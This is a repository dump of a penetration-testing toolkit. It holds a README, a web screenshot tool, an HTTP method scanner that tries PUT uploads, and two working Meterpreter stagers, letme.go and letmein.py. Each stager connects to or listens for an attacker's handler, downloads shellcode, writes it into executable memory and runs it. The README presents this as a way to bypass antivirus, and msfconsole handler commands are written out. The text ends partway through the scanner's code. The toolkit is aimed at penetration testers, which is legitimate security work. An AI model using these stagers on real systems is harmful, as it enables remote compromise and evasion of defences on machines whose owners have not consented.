├── img ├── botshot.png ├── easywin.jpg ├── letmego.png ├── letmein.jpg ├── netdork.jpg ├── poriluk.png ├── seitan.jpg ├── verbal.jpg ├── websword.jpg └── DISCLAIMER ├── LICENSE ├── botshot.py ├── letme.go ├── README.md ├── letmein.py ├── verbal.py ├── netdork.py ├── poriluk.py ├── seitan.py ├── letmein.ps1 └── easywin.py /img/botshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/tactical-exploitation/HEAD/img/botshot.png -------------------------------------------------------------------------------- /img/easywin.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/tactical-exploitation/HEAD/img/easywin.jpg -------------------------------------------------------------------------------- /img/letmego.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/tactical-exploitation/HEAD/img/letmego.png -------------------------------------------------------------------------------- /img/letmein.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/tactical-exploitation/HEAD/img/letmein.jpg -------------------------------------------------------------------------------- /img/netdork.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/tactical-exploitation/HEAD/img/netdork.jpg -------------------------------------------------------------------------------- /img/poriluk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/tactical-exploitation/HEAD/img/poriluk.png -------------------------------------------------------------------------------- /img/seitan.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/tactical-exploitation/HEAD/img/seitan.jpg -------------------------------------------------------------------------------- /img/verbal.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/tactical-exploitation/HEAD/img/verbal.jpg -------------------------------------------------------------------------------- /img/websword.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/tactical-exploitation/HEAD/img/websword.jpg -------------------------------------------------------------------------------- /img/DISCLAIMER: -------------------------------------------------------------------------------- 1 | Images are shown for illustrative purposes only and are the property of their respective owners. 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Marco Ivaldi 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /botshot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | botshot.py 0.2 - Mass Web Screenshot Command Line Script 5 | Copyright (c) 2017-2020 Marco Ivaldi 6 | 7 | "The Other Way to Pen-Test" --HD Moore & Valsmith 8 | 9 | Botshot is a Python script that captures screenshots of 10 | websites from the command line. It is useful to automate 11 | mapping of the web attack surface of large networks. 12 | 13 | Based on previous work by @federicodotta and @0-duke. 14 | 15 | Requirements: 16 | Python 3 (https://pythonclock.org/ is ticking...) 17 | Selenium (https://pypi.python.org/pypi/selenium) 18 | ChromeDriver (https://chromedriver.chromium.org/) 19 | 20 | Example usage: 21 | $ ./botshot.py -f urls 22 | 23 | TODO: 24 | Implement import from Nmap's XML output files 25 | Add the ability to save output in HTML format 26 | Add the ability to perform nikto/dirb scans 27 | Migrate to Electron (https://electron.atom.io/)? 28 | 29 | Get the latest version at: 30 | https://github.com/0xdea/tactical-exploitation/ 31 | """ 32 | 33 | VERSION = "0.1" 34 | BANNER = """ 35 | botshot.py {0} - Mass Web Screenshot Command Line Script 36 | Copyright (c) 2017 Marco Ivaldi 37 | """.format(VERSION) 38 | 39 | import sys 40 | import argparse 41 | import time 42 | import os 43 | import re 44 | from selenium import webdriver 45 | 46 | def webshot(args): 47 | """ 48 | Mass web screenshot function 49 | """ 50 | 51 | targets = [url.rstrip() for url in args.f] 52 | timeout = args.t 53 | 54 | # chrome webdriver options 55 | options = webdriver.ChromeOptions() 56 | options.add_argument("--headless") 57 | options.add_argument("--ignore-certificate-errors") 58 | options.add_argument("--no-sandbox") 59 | #options.add_argument("--disable-dev-shm-usage") 60 | 61 | # set up headless browser 62 | try: 63 | browser = webdriver.Chrome(options=options) 64 | browser.set_page_load_timeout(timeout) 65 | browser.set_window_size(1920, 1080) 66 | except Exception as err: 67 | print("// error: {0}".format(err)) 68 | browser.quit() 69 | sys.exit(1) 70 | 71 | # create output directory 72 | outdir = "webshots-" + time.strftime("%Y%m%d-%H%M%S", time.localtime()) 73 | try: 74 | os.mkdir(outdir, mode=0o755) 75 | except Exception as err: 76 | print("// error: {0}".format(err)) 77 | browser.quit() 78 | sys.exit(1) 79 | 80 | for url in targets: 81 | print("*** Grabbing screenshot of {0} ***\n".format(url)) 82 | 83 | p = re.compile("[:/]+") 84 | outfile = outdir + "/" + p.sub("_", url) + ".png" 85 | 86 | try: 87 | browser.get("about:blank") 88 | browser.get(url) 89 | time.sleep(1) # workaround for some targets 90 | browser.save_screenshot(outfile) 91 | except (KeyboardInterrupt, SystemExit): 92 | browser.quit() 93 | sys.exit(1) 94 | except Exception as err: 95 | print("// error: {0}".format(err)) 96 | 97 | browser.quit() 98 | return 99 | 100 | def get_args(): 101 | """ 102 | Get command line arguments 103 | """ 104 | 105 | parser = argparse.ArgumentParser() 106 | parser.set_defaults(func=webshot) 107 | 108 | parser.add_argument( 109 | "-f", 110 | metavar="FILE", 111 | type=argparse.FileType("r"), 112 | required=True, 113 | help="specify file containing a list of URLs") 114 | parser.add_argument( 115 | "-t", 116 | metavar="TIMEOUT", 117 | type=int, 118 | default=30, 119 | help="specify timeout in seconds (default: 30)") 120 | 121 | if len(sys.argv) == 1: 122 | parser.print_help() 123 | sys.exit(0) 124 | 125 | return parser.parse_args() 126 | 127 | def main(): 128 | """ 129 | Main function 130 | """ 131 | 132 | print(BANNER) 133 | 134 | if sys.version_info[0] != 3: 135 | print("// error: this script requires python 3") 136 | sys.exit(1) 137 | 138 | args = get_args() 139 | args.func(args) 140 | 141 | if __name__ == "__main__": 142 | main() 143 | -------------------------------------------------------------------------------- /letme.go: -------------------------------------------------------------------------------- 1 | /* 2 | letme.go - Minimalistic Meterpreter stager written in Go 3 | Copyright (c) 2021 Marco Ivaldi 4 | 5 | "Do you 0wn?" -- Sorbo (1983-2017) 6 | 7 | Minimalistic Go implementation of the main staging protocols used by 8 | the Metasploit Framework. Start an exploit/multi/handler instance on 9 | the attack box configured to handle one of the supported Meterpreter 10 | payloads, run letme.exe on the target Windows system, and enjoy your 11 | session! 12 | 13 | See also: 14 | https://github.com/0xdea/tactical-exploitation/blob/master/letmein.py 15 | https://github.com/0xdea/tactical-exploitation/blob/master/letmein.ps1 16 | https://github.com/rsmudge/metasploit-loader 17 | https://github.com/lesnuages/hershell 18 | 19 | Cross-compiling: 20 | $ GOOS="windows" GOARCH="amd64" go build -ldflags "-w -s" letme.go # x64 21 | $ GOOS="windows" GOARCH="386" go build -ldflags "-w -s" letme.go # x86 22 | 23 | Usage: 24 | C:\> letme.exe [:port | host:port] 25 | 26 | Example: 27 | [on the attack box] 28 | $ msfconsole 29 | msf > use exploit/multi/handler 30 | msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp 31 | msf > set LHOST 192.168.0.66 32 | msf > exploit 33 | [on the target box] 34 | C:\> letme.exe 192.168.0.66:4444 35 | 36 | Supported payloads: 37 | windows/meterpreter/bind_tcp windows/x64/meterpreter/bind_tcp 38 | windows/meterpreter/reverse_tcp windows/x64/meterpreter/reverse_tcp 39 | 40 | Tested on: 41 | Microsoft Windows 10 42 | Microsoft Windows 11 43 | Microsoft Windows Server 2016 44 | */ 45 | package main 46 | 47 | import ( 48 | "bufio" 49 | "encoding/binary" 50 | "fmt" 51 | "io" 52 | "log" 53 | "net" 54 | "os" 55 | "reflect" 56 | "strings" 57 | "syscall" 58 | "unsafe" 59 | ) 60 | 61 | func main() { 62 | var ( 63 | addr string 64 | conn net.Conn 65 | lsnr net.Listener 66 | err error 67 | ) 68 | 69 | fmt.Println("letme.go - Minimalistic Meterpreter stager written in Go") 70 | fmt.Println("Copyright (c) 2021 Marco Ivaldi ") 71 | fmt.Println() 72 | 73 | // Parse the command line 74 | switch len(os.Args) { 75 | case 1: 76 | addr = ":4444" 77 | case 2: 78 | addr = os.Args[1] 79 | default: 80 | usage() 81 | } 82 | 83 | switch { 84 | case strings.HasPrefix(addr, "-"): 85 | usage() 86 | 87 | // Start a bind_tcp stager 88 | case strings.HasPrefix(addr, ":"): 89 | if arg := strings.Split(addr, ":"); arg[1] == "" { 90 | usage() 91 | } 92 | fmt.Printf("Using bind_tcp stager (%v)\n\n", addr) 93 | if lsnr, err = net.Listen("tcp", addr); err != nil { 94 | log.Fatalln(err.Error()) 95 | } 96 | defer lsnr.Close() 97 | if conn, err = lsnr.Accept(); err != nil { 98 | log.Fatalln(err.Error()) 99 | } 100 | defer conn.Close() 101 | 102 | // Start a reverse_tcp stager 103 | default: 104 | fmt.Printf("Using reverse_tcp stager (%v)\n\n", addr) 105 | if conn, err = net.Dial("tcp", addr); err != nil { 106 | log.Fatalln(err.Error()) 107 | } 108 | defer conn.Close() 109 | } 110 | 111 | // Receive and execute the payload 112 | payload, err := receivePayload(conn) 113 | execPayload(payload) 114 | } 115 | 116 | // Print usage and exit 117 | func usage() { 118 | fmt.Println("Usage:") 119 | fmt.Println("C:\\> letme.exe [:port | host:port]") 120 | fmt.Println("\nExamples:") 121 | fmt.Println("C:\\> letme.exe :4444") 122 | fmt.Println("C:\\> letme.exe 192.168.0.66:4444") 123 | os.Exit(1) 124 | } 125 | 126 | // Helper function to get net.Conn's underlying socket descriptor 127 | func GetFdFromConn(conn net.Conn) (fd uint) { 128 | v := reflect.ValueOf(conn) 129 | netFD := reflect.Indirect(reflect.Indirect(v).FieldByName("fd")) 130 | pfd := reflect.Indirect(netFD.FieldByName("pfd")) 131 | fd = uint(pfd.FieldByName("Sysfd").Uint()) 132 | return 133 | } 134 | 135 | // Receive a Meterpreter payload via TCP 136 | func receivePayload(conn net.Conn) (payload []byte, err error) { 137 | r := bufio.NewReader(conn) 138 | 139 | // Read the 4-byte payload length and allocate payload buffer 140 | tmp := make([]byte, 4) 141 | if _, err = io.ReadFull(r, tmp); err != nil { 142 | return 143 | } 144 | length := binary.LittleEndian.Uint32(tmp[:]) 145 | payload = make([]byte, length+5) 146 | 147 | // Prepend some ASM to MOV the socket handle into EDI 148 | // MOV EDI, 0x12345678 ; BF 78 56 34 12 149 | fd := GetFdFromConn(conn) 150 | payload[0] = 0xbf 151 | binary.LittleEndian.PutUint32(payload[1:5], uint32(fd)) 152 | 153 | // Download the Meterpreter payload 154 | if _, err = io.ReadFull(r, payload[5:]); err != nil { 155 | return 156 | } 157 | return 158 | } 159 | 160 | // Execute a Windows payload 161 | func execPayload(payload []byte) { 162 | const ( 163 | MEM_COMMIT = 0x1000 164 | MEM_RESERVE = 0x2000 165 | INFINITE = 0xffffffff 166 | ) 167 | 168 | // Allocate a RWX memory region 169 | kernel32 := syscall.MustLoadDLL("kernel32.dll") 170 | _VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") 171 | ptr, _, _ := _VirtualAlloc.Call(0, uintptr(len(payload)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE) 172 | 173 | // Copy the payload 174 | _RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory") 175 | _RtlMoveMemory.Call(ptr, uintptr(unsafe.Pointer(&payload[0])), uintptr(len(payload))) 176 | 177 | // Execute the payload 178 | _CreateThread := kernel32.MustFindProc("CreateThread") 179 | th, _, _ := _CreateThread.Call(0, 0, ptr, 0, 0, 0) 180 | 181 | // Wait for the thread to finish running 182 | _WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject") 183 | _WaitForSingleObject.Call(th, INFINITE) 184 | } 185 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # tactical-exploitation 2 | 3 | [![](https://img.shields.io/github/stars/0xdea/tactical-exploitation.svg?style=flat&color=yellow)](https://github.com/0xdea/tactical-exploitation) 4 | [![](https://img.shields.io/github/forks/0xdea/tactical-exploitation.svg?style=flat&color=green)](https://github.com/0xdea/tactical-exploitation) 5 | [![](https://img.shields.io/github/watchers/0xdea/tactical-exploitation.svg?style=flat&color=red)](https://github.com/0xdea/tactical-exploitation) 6 | [![](https://img.shields.io/badge/twitter-%400xdea-blue.svg)](https://twitter.com/0xdea) 7 | [![](https://img.shields.io/badge/mastodon-%40raptor-purple.svg)](https://infosec.exchange/@raptor) 8 | 9 | > "The Other Way to Pen-Test" 10 | > 11 | > -- HD Moore & Valsmith 12 | 13 | I've always been a big proponent of a tactical approach to penetration testing that does not focus on exploiting known software vulnerabilities, but relies on old school techniques such as information gathering and brute force. While being able to appreciate the occasional usefulness of a well-timed 0day, as a veteran penetration tester I favor an exploit-less approach. Tactical exploitation provides a smoother and more reliable way of compromising targets by leveraging process vulnerabilities, while minimizing attack detection and other undesired side effects. 14 | 15 | This repository aims to provide a tactical exploitation toolkit to assist penetration testers during their assignments. The tools currently released are described below. See also [0xdeadbeef.info](https://0xdeadbeef.info/) for some older tools and techniques. 16 | 17 | *Disclaimer: These tools are proofs of concept. They are functional but may be buggy or incomplete. Use at your own risk.* 18 | 19 | ## Blog posts 20 | 21 | * 22 | * 23 | * 24 | * 25 | 26 | ## See also 27 | 28 | * 29 | 30 | ## Tools 31 | 32 | ### easywin.py 33 | 34 | ![](https://raw.githubusercontent.com/0xdea/tactical-exploitation/master/img/easywin.jpg) 35 | 36 | Easywin is a Python script that provides a toolkit for exploit-less attacks aimed at Windows and Active Directory environments, by leveraging information gathering and brute force capabilities against the SMB protocol. 37 | 38 | ### letmein.ps1 39 | 40 | ![](https://raw.githubusercontent.com/0xdea/tactical-exploitation/master/img/letmein.jpg) 41 | 42 | Letmein is a pure PowerShell implementation of the staging protocols used by the Metasploit Framework. Start an exploit/multi/handler (Generic Payload Handler) instance on your attack box configured to handle one of the supported Meterpreter payloads, run letmein.ps1 (ideally as Administrator) on a compromised Windows box, and wait for your session. This technique is quite effective in order to bypass the antivirus and obtain a Meterpreter shell on Windows. An alternative Python implementation is also provided for educational purposes, however its use is not recommended in the field. 43 | 44 | ### letme.go 45 | 46 | ![](https://raw.githubusercontent.com/0xdea/tactical-exploitation/master/img/letmego.png) 47 | 48 | Letme.go is a minimalistic Go implementation of the main staging protocols used by the Metasploit Framework. Start an exploit/multi/handler instance on the attack box configured to handle one of the supported Meterpreter payloads, run letme.exe on the target Windows system, and enjoy your session! See also [backdoor-rs](https://github.com/0xdea/backdoo-rs) for a Rust variant. 49 | 50 | ### poriluk.py 51 | 52 | ![](https://raw.githubusercontent.com/0xdea/tactical-exploitation/master/img/poriluk.png) 53 | 54 | Poriluk is a helper script that provides a comfortable interface to exploit common information leakage vulnerabilities. At the moment, the following attacks are supported: dictionary-based user enumeration via SMTP VRFY/EXPN/RCPT and HTTP Apache mod_userdir. 55 | 56 | ### botshot.py 57 | 58 | ![](https://raw.githubusercontent.com/0xdea/tactical-exploitation/master/img/botshot.png) 59 | 60 | Botshot is a Python script that captures screenshots of websites from the command line. It is useful to automate mapping of the web attack surface of large networks. 61 | 62 | ### verbal.py 63 | 64 | ![](https://raw.githubusercontent.com/0xdea/tactical-exploitation/master/img/verbal.jpg) 65 | 66 | Verbal is a HTTP request method security scanner. It tries a series of interesting HTTP methods against a list of website paths, in order to determine which methods are available and accessible. The following HTTP methods are currently supported: GET, OPTIONS, TRACE, DEBUG, PUT. 67 | 68 | ### netdork.py 69 | 70 | ![](https://raw.githubusercontent.com/0xdea/tactical-exploitation/master/img/netdork.jpg) 71 | 72 | Netdork is a Python script that uses the Google Custom Search Engine API to collect interesting information on public networks and stealthily map the available attack surface. The following attacks are supported: network search sweep based on target CIDRs and subdomain discovery via search engine. 73 | 74 | ### seitan.py 75 | 76 | ![](https://raw.githubusercontent.com/0xdea/tactical-exploitation/master/img/seitan.jpg) 77 | 78 | Seitan is a Python script that uses the Shodan.io API search to collect open source intelligence on targets. The following attacks are currently supported: ipaddr (view all available information for an IP address) and domain (search services related to a domain or host name). 79 | -------------------------------------------------------------------------------- /letmein.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | letmein.py 0.1 - Metasploit Framework Python Stager Stub 5 | Copyright (c) 2017 Marco Ivaldi 6 | 7 | "The Other Way to Pen-Test" --HD Moore & Valsmith 8 | 9 | Letmein is a pure Python 3 implementation of the staging 10 | protocol used by the Metasploit Framework. Just start an 11 | exploit/multi/handler (Generic Payload Handler) instance 12 | on your attack box with either a reverse_tcp or bind_tcp 13 | Meterpreter payload, then run letmein (ideally converted 14 | to EXE format) on a compromised Windows box and wait for 15 | your session. 16 | 17 | This technique is quite effective in order to bypass the 18 | antivirus and obtain a Meterpreter shell on Windows. 19 | 20 | This script is only a proof of concept. In this specific 21 | case, Python may not be the best choice available (hint: 22 | try C or PowerShell instead;). 23 | 24 | Based on: 25 | https://github.com/rsmudge/metasploit-loader 26 | 27 | Requirements: 28 | Python 3 (https://pythonclock.org/ is ticking...) 29 | 30 | Tested with the following payloads: 31 | windows/meterpreter/reverse_tcp (Python 32-bit only) 32 | windows/meterpreter/bind_tcp (Python 32-bit only) 33 | windows/x64/meterpreter/reverse_tcp (Python 64-bit only) 34 | windows/x64/meterpreter/bind_tcp (Python 64-bit only) 35 | 36 | Example usage: 37 | [on the attack box] 38 | $ msfconsole 39 | msf > use exploit/multi/handler 40 | msf > set PAYLOAD windows/meterpreter/reverse_tcp 41 | msf > set LHOST x.x.x.x 42 | msf > exploit 43 | [on the target system] 44 | C:\> python letmein.py -r x.x.x.x 45 | 46 | TODO: 47 | Test 32-bit/64-bit EXE on different Windows versions 48 | Use "from import " to reduce size 49 | Implement support for Meterpreter Paranoid Mode 50 | Implement support for other payloads 51 | Python 2 compatibility (implement a custom int.to_bytes) 52 | 53 | Get the latest version at: 54 | https://github.com/0xdea/tactical-exploitation/ 55 | """ 56 | 57 | VERSION = "0.1" 58 | BANNER = """ 59 | letmein.py {0} - Metasploit Framework Python Stager Stub 60 | Copyright (c) 2017 Marco Ivaldi 61 | """.format(VERSION) 62 | 63 | import sys 64 | import argparse 65 | import socket 66 | import struct 67 | import ctypes 68 | 69 | def reverse_tcp(args): 70 | """ 71 | Payload handler for reverse_tcp 72 | """ 73 | 74 | host = args.r 75 | port = args.p 76 | socket.setdefaulttimeout(args.t) 77 | 78 | # connect to reverse_tcp exploit/multi/handler 79 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 80 | s.connect((host, port)) 81 | 82 | letmein(s) 83 | 84 | def bind_tcp(args): 85 | """ 86 | Payload handler for bind_tcp 87 | """ 88 | 89 | port = args.p 90 | 91 | # open a port for bind_tcp exploit/multi/handler 92 | b = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 93 | b.bind(("0.0.0.0", port)) 94 | b.listen(1) 95 | s, a = b.accept() 96 | 97 | letmein(s) 98 | 99 | def letmein(s): 100 | """ 101 | Metasploit staging protocol handler 102 | """ 103 | 104 | # get 4-byte payload length 105 | l = struct.unpack("@I", s.recv(4))[0] 106 | 107 | # download payload 108 | d = s.recv(l) 109 | while len(d) < l: 110 | d += s.recv(l - len(d)) 111 | 112 | # prepend some asm to mov the socket descriptor into edi 113 | # mov edi, 0x12345678 ; BF 78 56 34 12 (32-bit) 114 | d = bytearray( 115 | b"\xbf" 116 | + s.fileno().to_bytes(4, byteorder="little") 117 | + d) 118 | # mov rdi, 0x12345678 ; 48 BF 78 56 34 12 00 00 00 00 (64-bit) 119 | # based on my tests, this doesn't seem to be necessary for x64 120 | """ 121 | d = bytearray( 122 | b"\x48\xbf" 123 | + s.fileno().to_bytes(8, byteorder="little") 124 | + d) 125 | """ 126 | 127 | # allocate a RWX memory region 128 | # VirtualAlloc(0, len(d), MEM_COMMIT, PAGE_EXECUTE_READWRITE) 129 | ptr = ctypes.windll.kernel32.VirtualAlloc( 130 | ctypes.c_int(0), 131 | ctypes.c_int(len(d)), 132 | ctypes.c_int(0x3000), 133 | ctypes.c_int(0x40)) 134 | 135 | # copy the shellcode 136 | buf = (ctypes.c_char * len(d)).from_buffer(d) 137 | ctypes.windll.kernel32.RtlMoveMemory( 138 | ctypes.c_int(ptr), 139 | buf, 140 | ctypes.c_int(len(d))) 141 | 142 | # execute the shellcode 143 | ptr_f = ctypes.cast(ptr, ctypes.CFUNCTYPE(ctypes.c_void_p)) 144 | ptr_f() 145 | 146 | # execute the shellcode, a possible variant by Debasish Mandal 147 | # see http://www.debasish.in/2012/04/execute-shellcode-using-python.html 148 | """ 149 | ht = ctypes.windll.kernel32.CreateThread( 150 | ctypes.c_int(0), 151 | ctypes.c_int(0), 152 | ctypes.c_int(ptr), 153 | ctypes.c_int(0), 154 | ctypes.c_int(0), 155 | ctypes.pointer(ctypes.c_int(0))) 156 | ctypes.windll.kernel32.WaitForSingleObject( 157 | ctypes.c_int(ht), 158 | ctypes.c_int(-1)) 159 | """ 160 | 161 | def get_args(): 162 | """ 163 | Get command line arguments 164 | """ 165 | 166 | parser = argparse.ArgumentParser() 167 | subparsers = parser.add_subparsers( 168 | title="commands", 169 | help="choose payload type") 170 | 171 | # reverse_tcp subparser 172 | parser_reverse_tcp = subparsers.add_parser( 173 | "reverse_tcp", 174 | help="reverse_tcp payload") 175 | parser_reverse_tcp.set_defaults(func=reverse_tcp) 176 | 177 | # reverse_tcp arguments 178 | parser_reverse_tcp.add_argument( 179 | "-r", 180 | metavar="HOST", 181 | required=True, 182 | help="specify target hostname or IP address") 183 | parser_reverse_tcp.add_argument( 184 | "-p", 185 | metavar="PORT", 186 | type=int, 187 | default=4444, 188 | help="specify port to use (default: 4444)") 189 | parser_reverse_tcp.add_argument( 190 | "-t", 191 | metavar="TIMEOUT", 192 | type=int, 193 | default=10, 194 | help="specify timeout in seconds (default: 10)") 195 | 196 | # bind_tcp subparser 197 | parser_bind_tcp = subparsers.add_parser( 198 | "bind_tcp", 199 | help="bind_tcp payload") 200 | parser_bind_tcp.set_defaults(func=bind_tcp) 201 | 202 | # bind_tcp arguments 203 | parser_bind_tcp.add_argument( 204 | "-p", 205 | metavar="PORT", 206 | type=int, 207 | default=4444, 208 | help="specify port to use (default: 4444)") 209 | 210 | if len(sys.argv) == 1: 211 | parser.print_help() 212 | sys.exit(0) 213 | 214 | return parser.parse_args() 215 | 216 | def main(): 217 | """ 218 | Main function 219 | """ 220 | 221 | print(BANNER) 222 | 223 | if sys.version_info[0] != 3: 224 | print("// error: this script requires python 3") 225 | sys.exit(1) 226 | 227 | args = get_args() 228 | 229 | try: 230 | args.func(args) 231 | except (KeyboardInterrupt, SystemExit): 232 | sys.exit(1) 233 | except Exception as err: 234 | print("// error: {0}".format(err)) 235 | sys.exit(1) 236 | 237 | if __name__ == "__main__": 238 | main() 239 | -------------------------------------------------------------------------------- /verbal.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | verbal.py 0.1 - HTTP(S) Request Method Security Scanner 5 | Copyright (c) 2017 Marco Ivaldi 6 | 7 | "The Other Way to Pen-Test" --HD Moore & Valsmith 8 | 9 | Verbal is a HTTP request method security scanner. It 10 | tries a series of interesting HTTP methods against a 11 | list of website paths, in order to determine which 12 | methods are available and accessible. The following 13 | HTTP methods are currently supported (HEAD and POST 14 | aren't that interesting, while DELETE and PATCH would 15 | be too dangerous to blindly try as part of an automated 16 | scan): 17 | 18 | GET: request a representation of a resource 19 | OPTIONS: get communication options for a resource 20 | TRACE: perform a message loop-back test 21 | DEBUG: start/stop remote debugging session on IIS 22 | PUT: replace a resource with the request payload 23 | 24 | Requirements: 25 | Python 3 (https://pythonclock.org/ is ticking...) 26 | Requests (http://docs.python-requests.org/) 27 | 28 | Example usage: 29 | $ ./verbal.py -A -u http://example.com -d directories.txt 30 | 31 | TODO: 32 | Test thoroughly, especially the PUT scanner 33 | Introduce spidering capabilities and IP address scanning 34 | Implement support for additional methods (e.g. CONNECT) 35 | 36 | Get the latest version at: 37 | https://github.com/0xdea/tactical-exploitation/ 38 | """ 39 | 40 | VERSION = "0.1" 41 | BANNER = """ 42 | verbal.py {0} - HTTP(S) Request Method Security Scanner 43 | Copyright (c) 2017 Marco Ivaldi 44 | """.format(VERSION) 45 | 46 | import sys 47 | import argparse 48 | import re 49 | import requests 50 | 51 | # disable InsecureRequestWarning 52 | import urllib3 53 | urllib3.disable_warnings() 54 | 55 | def http_method_scanner(args): 56 | """ 57 | Generic HTTP request method scanner 58 | """ 59 | 60 | base = args.u.rstrip("/") 61 | timeout = args.t 62 | 63 | dirs = set() 64 | if args.d: 65 | dirs = {d.rstrip().strip("/") + "/" for d in args.d} 66 | dirs.add("") 67 | 68 | if args.all: # activate all additional scanners 69 | args.trace = True 70 | args.debug = True 71 | args.put = True 72 | 73 | print("*** Scanning {0} ***\n".format(base)) 74 | 75 | for d in sorted(dirs): 76 | 77 | url = base + "/" + d 78 | print(url) 79 | 80 | # base scanners 81 | scan_get(url, timeout) 82 | scan_options(url, timeout) 83 | 84 | # additional scanners 85 | if args.trace: 86 | scan_trace(url, timeout) 87 | if args.debug: 88 | scan_debug(url, timeout) 89 | if args.put: 90 | scan_put(url, timeout) 91 | 92 | print("") 93 | 94 | print("*** Finished {0} ***\n".format(base)) 95 | 96 | def scan_get(url, timeout): 97 | """ 98 | GET method and Directory Listing scanner 99 | """ 100 | 101 | try: 102 | r = requests.get( 103 | url=url, 104 | timeout=timeout, 105 | verify=False) 106 | print( 107 | " GET" + "\t\t> " 108 | + str(r.status_code) + " (" 109 | + str(requests.status_codes._codes[r.status_code][0]) + ")") 110 | 111 | except (KeyboardInterrupt, SystemExit): 112 | sys.exit(1) 113 | 114 | except Exception as err: 115 | print("\n// error: {0}".format(err)) 116 | sys.exit(1) # exit in case of error 117 | 118 | else: # bonus check;) 119 | p = re.compile("(Index of )|(To Parent Directory)") # apache, iis 120 | if p.search(r.text): 121 | print(" Directory Listing is enabled") 122 | 123 | def scan_options(url, timeout): 124 | """ 125 | OPTIONS method scanner 126 | """ 127 | 128 | try: 129 | r = requests.options( 130 | url=url, 131 | timeout=timeout, 132 | verify=False) 133 | print( 134 | " OPTIONS" + "\t> " 135 | + str(r.status_code) + " (" 136 | + str(requests.status_codes._codes[r.status_code][0]) + ")") 137 | print(" " + "Methods: " + r.headers["allow"]) 138 | 139 | except (KeyboardInterrupt, SystemExit): 140 | sys.exit(1) 141 | 142 | except Exception as err: 143 | pass # ignore errors 144 | 145 | def scan_trace(url, timeout): 146 | """ 147 | TRACE method scanner 148 | """ 149 | 150 | try: 151 | r = requests.request( 152 | url=url, 153 | timeout=timeout, 154 | verify=False, 155 | method="TRACE") 156 | print( 157 | " TRACE" + "\t> " 158 | + str(r.status_code) + " (" 159 | + str(requests.status_codes._codes[r.status_code][0]) + ")") 160 | 161 | except (KeyboardInterrupt, SystemExit): 162 | sys.exit(1) 163 | 164 | except Exception as err: 165 | print(" // error: {0}".format(err)) 166 | 167 | def scan_debug(url, timeout): 168 | """ 169 | DEBUG method scanner 170 | """ 171 | 172 | target = url + "verbal.aspx" 173 | headers = { 174 | "Accept" : "*/*", 175 | "Command" : "stop-debug"} 176 | 177 | try: 178 | r = requests.request( 179 | url=target, 180 | timeout=timeout, 181 | verify=False, 182 | method="DEBUG", 183 | headers=headers) 184 | print( 185 | " DEBUG" + "\t> " 186 | + str(r.status_code) + " (" 187 | + str(requests.status_codes._codes[r.status_code][0]) + ")") 188 | 189 | except (KeyboardInterrupt, SystemExit): 190 | sys.exit(1) 191 | 192 | except Exception as err: 193 | print(" // error: {0}".format(err)) 194 | 195 | def scan_put(url, timeout): # TODO: test thoroughly 196 | """ 197 | PUT method scanner 198 | """ 199 | 200 | # interesting file types to check 201 | filetypes = ["txt", "html", "xml", "js", "php", "asp", "aspx", "jsp"] 202 | 203 | print(" PUT") 204 | 205 | for t in filetypes: 206 | target = url + "verbal." + t 207 | 208 | try: 209 | r = requests.put( 210 | url=target, 211 | timeout=timeout, 212 | verify=False, 213 | data="PENTEST") 214 | print( 215 | " " + t + "\t> " 216 | + str(r.status_code) + " (" 217 | + str(requests.status_codes._codes[r.status_code][0]) + ")") 218 | 219 | except (KeyboardInterrupt, SystemExit): 220 | sys.exit(1) 221 | 222 | except Exception as err: 223 | print(" // error: {0}".format(err)) 224 | 225 | def get_args(): 226 | """ 227 | Get command line arguments 228 | """ 229 | 230 | parser = argparse.ArgumentParser() 231 | parser.set_defaults(func=http_method_scanner) 232 | 233 | # http methods 234 | parser.add_argument( 235 | "-T", "--trace", 236 | action="store_true", 237 | help="TRACE method scanner") 238 | parser.add_argument( 239 | "-D", "--debug", 240 | action="store_true", 241 | help="DEBUG method scanner") 242 | parser.add_argument( 243 | "-P", "--put", 244 | action="store_true", 245 | help="PUT method scanner") 246 | parser.add_argument( 247 | "-A", "--all", 248 | action="store_true", 249 | help="Scan all 